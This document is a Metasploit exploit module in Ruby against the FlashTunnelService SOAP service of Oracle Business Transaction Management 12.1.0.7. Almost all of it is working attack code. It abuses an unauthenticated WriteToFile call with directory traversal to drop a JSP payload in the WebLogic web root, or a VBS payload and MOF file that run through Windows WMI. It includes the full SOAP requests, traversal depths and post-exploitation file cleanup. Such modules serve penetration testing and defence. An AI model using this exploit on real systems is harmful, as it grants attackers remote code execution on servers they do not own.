Oracle BTM FlashTunnelService Remote Code Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::EXE  
include Msf::Exploit::WbemExec  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Oracle Business Transaction Management FlashTunnelService Remote Code Execution',  
'Description' => %q{  
This module exploits abuses the FlashTunnelService SOAP web service on Oracle  
Business Transaction Management 12.1.0.7 to upload arbitrary files, without  
authentication, using the WriteToFile method. The same method contains a directory  
traversal vulnerability, which allows to upload the files to arbitrary locations.  
  
In order to execute remote code two techniques are provided. If the Oracle app has  
been deployed in the same WebLogic Samples Domain a JSP can be uploaded to the web  
root. If a new Domain has been used to deploy the Oracle application, the Windows  
Management Instrumentation service can be used to execute arbitrary code.  
  
Both techniques has been successfully tested on default installs of Oracle BTM  
12.1.0.7, Weblogic 12.1.1 and Windows 2003 SP2. Default path traversal depths are  
provided, but the user can configure the traversal depth using the DEPTH option.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'rgod <rgod[at]autistici.org>', # Vulnerability Discovery and PoC  
'sinn3r', # Metasploit module  
'juan vazquez' # Metasploit module  
],  
'References' =>  
[  
[ 'OSVDB', '85087' ],  
[ 'BID', '54839' ],  
[ 'EDB', '20318' ]  
],  
'DefaultOptions' =>  
{  
'WfsDelay' => 5  
},  
'Payload' =>  
{  
'DisableNops' => true,  
'Space' => 2048,  
'StackAdjustment' => -3500  
},  
'Platform' => [ 'java', 'win' ],  
'Targets' =>  
[  
[ 'Oracle BTM 12.1.0.7 / Weblogic 12.1.1 with Samples Domain / Java',  
{  
'Arch' => ARCH_JAVA,  
'Depth' => 10  
},  
],  
[ 'Oracle BTM 12.1.0.7 / Windows 2003 SP2 through WMI',  
{  
'Arch' => ARCH_X86,  
'Platform' => 'win',  
'Depth' => 13  
}  
]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Aug 07 2012'))  
  
register_options(  
[  
Opt::RPORT(7001),  
OptInt.new('DEPTH', [false, 'Traversal depth'])  
], self.class)  
end  
  
def on_new_session(client)  
  
return if not @var_mof_name  
return if not @var_vbs_name  
  
if client.type != "meterpreter"  
print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.")  
print_error("The vbs payload (C:\\windows\\system32\\#{@var_vbs_name}.vbs) and mof file (C:\\windows\\system32\\wbem\\mof\\good\\#{@var_mof_name}.mof) must be removed manually.")  
return  
end  
  
# stdapi must be loaded before we can use fs.file  
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")  
  
cmd = "C:\\windows\\system32\\attrib.exe -r " +  
"C:\\windows\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof"  
  
client.sys.process.execute(cmd, nil, {'Hidden' => true })  
  
begin  
print_status("Deleting the vbs payload \"#{@var_vbs_name}.vbs\" ...")  
client.fs.file.rm("C:\\windows\\system32\\" + @var_vbs_name + ".vbs")  
print_status("Deleting the mof file \"#{@var_mof_name}.mof\" ...")  
client.fs.file.rm("C:\\windows\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof")  
rescue ::Exception => e  
print_error("Exception: #{e.inspect}")  
end  
  
end  
  
def exploit  
  
peer = "#{rhost}:#{rport}"  
  
if target.name =~ /WMI/  
  
# In order to save binary data to the file system the payload is written to a .vbs  
# file and execute it from there.  
@var_mof_name = rand_text_alpha(rand(5)+5)  
@var_vbs_name = rand_text_alpha(rand(5)+5)  
  
print_status("Encoding payload into vbs...")  
my_payload = generate_payload_exe  
vbs_content = Msf::Util::EXE.to_exe_vbs(my_payload)  
  
print_status("Generating mof file...")  
mof_content = generate_mof("#{@var_mof_name}.mof", "#{@var_vbs_name}.vbs")  
  
if not datastore['DEPTH'] or datastore['DEPTH'] == 0  
traversal = "..\\" * target['Depth']  
else  
traversal = "..\\" * datastore['DEPTH']  
end  
traversal << "WINDOWS\\system32\\#{@var_vbs_name}.vbs"  
  
print_status("#{peer} - Uploading the VBS payload")  
  
soap_request = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" "  
soap_request << "xmlns:int=\"http://schemas.amberpoint.com/flashtunnel/interfaces\" "  
soap_request << "xmlns:typ=\"http://schemas.amberpoint.com/flashtunnel/types\">"  
soap_request << " <soapenv:Header/>"  
soap_request << " <soapenv:Body>"  
soap_request << " <int:writeToFileRequest>"  
soap_request << " <int:writeToFile handle=\"#{traversal}\">"  
soap_request << " <typ:text>#{Rex::Text.html_encode(vbs_content)}</typ:text>"  
soap_request << " <typ:WriteToFileRequestVersion>"  
soap_request << " </typ:WriteToFileRequestVersion>"  
soap_request << " </int:writeToFile>"  
soap_request << " </int:writeToFileRequest>"  
soap_request << " </soapenv:Body>"  
soap_request << "</soapenv:Envelope>"  
  
res = send_request_cgi(  
{  
'uri' => '/btmui/soa/flash_svc/',  
'version' => '1.1',  
'method' => 'POST',  
'ctype' => "text/xml;charset=UTF-8",  
'SOAPAction' => "\"http://soa.amberpoint.com/writeToFile\"",  
'data' => soap_request,  
}, 5)  
  
if res and res.code == 200 and res.body =~ /writeToFileResponse/  
print_status("#{peer} - VBS payload successfully uploaded")  
else  
print_error("#{peer} - Failed to upload the VBS payload")  
return  
end  
  
if not datastore['DEPTH'] or datastore['DEPTH'] == 0  
traversal = "..\\" * target['Depth']  
else  
traversal = "..\\" * datastore['DEPTH']  
end  
traversal << "WINDOWS\\system32\\wbem\\mof\\#{@var_mof_name}.mof"  
  
soap_request = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" "  
soap_request << "xmlns:int=\"http://schemas.amberpoint.com/flashtunnel/interfaces\" "  
soap_request << "xmlns:typ=\"http://schemas.amberpoint.com/flashtunnel/types\">"  
soap_request << " <soapenv:Header/>"  
soap_request << " <soapenv:Body>"  
soap_request << " <int:writeToFileRequest>"  
soap_request << " <int:writeToFile handle=\"#{traversal}\">"  
soap_request << " <typ:text>#{Rex::Text.html_encode(mof_content)}</typ:text>"  
soap_request << " <typ:WriteToFileRequestVersion>"  
soap_request << " </typ:WriteToFileRequestVersion>"  
soap_request << " </int:writeToFile>"  
soap_request << " </int:writeToFileRequest>"  
soap_request << " </soapenv:Body>"  
soap_request << "</soapenv:Envelope>"  
  
print_status("#{peer} - Uploading the MOF file")  
  
res = send_request_cgi(  
{  
'uri' => '/btmui/soa/flash_svc/',  
'version' => '1.1',  
'method' => 'POST',  
'ctype' => "text/xml;charset=UTF-8",  
'SOAPAction' => "\"http://soa.amberpoint.com/writeToFile\"",  
'data' => soap_request,  
}, 5)  
  
if res and res.code == 200 and res.body =~ /writeToFileResponse/  
print_status("#{peer} - MOF file successfully uploaded")  
else  
print_error("#{peer} - Failed to upload the MOF file")  
return  
end  
  
elsif target['Arch'] == ARCH_JAVA  
  
@jsp_name = rand_text_alpha(rand(5)+5)  
  
if not datastore['DEPTH'] or datastore['DEPTH'] == 0  
traversal = "..\\" * target['Depth']  
else  
traversal = "..\\" * datastore['DEPTH']  
end  
traversal << "\\server\\examples\\build\\mainWebApp\\#{@jsp_name}.jsp"  
  
print_status("#{peer} - Uploading the JSP payload")  
  
soap_request = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" "  
soap_request << "xmlns:int=\"http://schemas.amberpoint.com/flashtunnel/interfaces\" "  
soap_request << "xmlns:typ=\"http://schemas.amberpoint.com/flashtunnel/types\">"  
soap_request << " <soapenv:Header/>"  
soap_request << " <soapenv:Body>"  
soap_request << " <int:writeToFileRequest>"  
soap_request << " <int:writeToFile handle=\"#{traversal}\">"  
soap_request << " <typ:text>#{Rex::Text.html_encode(payload.encoded)}</typ:text>"  
soap_request << " <typ:WriteToFileRequestVersion>"  
soap_request << " </typ:WriteToFileRequestVersion>"  
soap_request << " </int:writeToFile>"  
soap_request << " </int:writeToFileRequest>"  
soap_request << " </soapenv:Body>"  
soap_request << "</soapenv:Envelope>"  
  
res = send_request_cgi(  
{  
'uri' => '/btmui/soa/flash_svc/',  
'version' => '1.1',  
'method' => 'POST',  
'ctype' => "text/xml;charset=UTF-8",  
'SOAPAction' => "\"http://soa.amberpoint.com/writeToFile\"",  
'data' => soap_request,  
}, 5)  
  
if res and res.code == 200 and res.body =~ /writeToFileResponse/  
print_status("#{peer} - JSP payload successfully uploaded")  
else  
print_error("#{peer} - Failed to upload the JSP payload")  
return  
end  
  
print_status("#{peer} - Executing the uploaded JSP #{@jsp_name}.jsp ...")  
res = send_request_cgi(  
{  
'uri' => "/#{@jsp_name}.jsp",  
'version' => '1.1',  
'method' => 'GET',  
}, 5)  
  
end  
  
end  
  
end  
`